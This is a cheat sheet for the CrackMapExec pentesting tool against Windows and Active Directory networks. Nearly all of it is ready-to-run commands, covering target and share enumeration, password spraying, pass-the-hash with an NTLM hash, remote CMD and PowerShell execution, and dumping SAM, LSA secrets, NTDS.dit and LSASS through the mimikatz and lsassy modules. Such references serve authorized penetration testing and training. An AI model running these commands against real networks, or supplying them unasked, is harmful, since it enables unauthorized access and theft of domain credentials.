CrackMapExec (CME) Cheatsheet
Swiss army knife for pentesting Windows/AD environments.
Basic Syntax
crackmapexec <protocol> <target> [options]
Protocols: smb, ldap, mssql, ssh, winrm, rdp, ftp
Target Specification
| Format | Example |
|---|---|
| Single IP | 10.10.10.10 |
| CIDR range | 10.10.10.0/24 |
| IP range | 10.10.10.1-50 |
| File | targets.txt |
| Hostname | dc01.domain.local |
Authentication Options
| Option | Description | Example |
|---|---|---|
-u USER | Username or file | -u admin or -u users.txt |
-p PASS | Password or file | -p Password123 or -p passwords.txt |
-H HASH | NTLM hash | -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 |
-d DOMAIN | Domain | -d MYDOMAIN |
--local-auth | Local authentication | For non-domain joined machines |
-k | Kerberos auth | Uses ccache from KRB5CCNAME |
SMB Operations
Check Access
crackmapexec smb 10.10.10.10 -u admin -p Password123
Output indicators:
[+]- Success[-]- Failure(Pwn3d!)- Admin access
Enumerate Shares
crackmapexec smb 10.10.10.10 -u admin -p Password123 --shares
List Share Contents
crackmapexec smb 10.10.10.10 -u admin -p Password123 --spider C$ --depth 2
Enumerate Users
crackmapexec smb 10.10.10.10 -u admin -p Password123 --users
Enumerate Groups
crackmapexec smb 10.10.10.10 -u admin -p Password123 --groups
Enumerate Logged-on Users
crackmapexec smb 10.10.10.0/24 -u admin -p Password123 --loggedon-users
Enumerate Sessions
crackmapexec smb 10.10.10.10 -u admin -p Password123 --sessions
Password Spraying
Single Password Against User List
crackmapexec smb 10.10.10.10 -u users.txt -p 'Company01!' --continue-on-success
With Local Auth
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123!' --local-auth
Command Execution
| Option | Description |
|---|---|
-x CMD | Execute CMD command |
-X CMD | Execute PowerShell command |
--exec-method | Method: smbexec, atexec, wmiexec, mmcexec |
Execute CMD
crackmapexec smb 10.10.10.10 -u admin -p Password123 -x 'whoami'
Execute PowerShell
crackmapexec smb 10.10.10.10 -u admin -p Password123 -X 'Get-Process'
Specify Execution Method
crackmapexec smb 10.10.10.10 -u admin -p Password123 -x 'ipconfig' --exec-method smbexec
Credential Dumping
Dump SAM
crackmapexec smb 10.10.10.10 -u admin -p Password123 --sam
Dump LSA Secrets
crackmapexec smb 10.10.10.10 -u admin -p Password123 --lsa
Dump NTDS.dit (Domain Controller)
crackmapexec smb dc01 -u admin -p Password123 --ntds
Dump LSASS
crackmapexec smb 10.10.10.10 -u admin -p Password123 -M lsassy
Pass-the-Hash
crackmapexec smb 10.10.10.10 -u admin -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
Modules
List available modules:
crackmapexec smb -L
Run a module:
crackmapexec smb 10.10.10.10 -u admin -p Password123 -M <module>
Common modules:
lsassy- Dump LSASSmimikatz- Run Mimikatzspider_plus- Spider sharesenum_av- Enumerate AV productsgpp_password- Find GPP passwords
Database
CME stores results in a database:
cmedb
Database commands:
hosts- Show discovered hostscreds- Show captured credentialsexport- Export data
Useful Flags
| Flag | Description |
|---|---|
--continue-on-success | Don’t stop after first valid cred |
--no-bruteforce | Avoid brute force attempts |
-v | Verbose output |
--gen-relay-list FILE | Generate list of hosts with SMB signing disabled |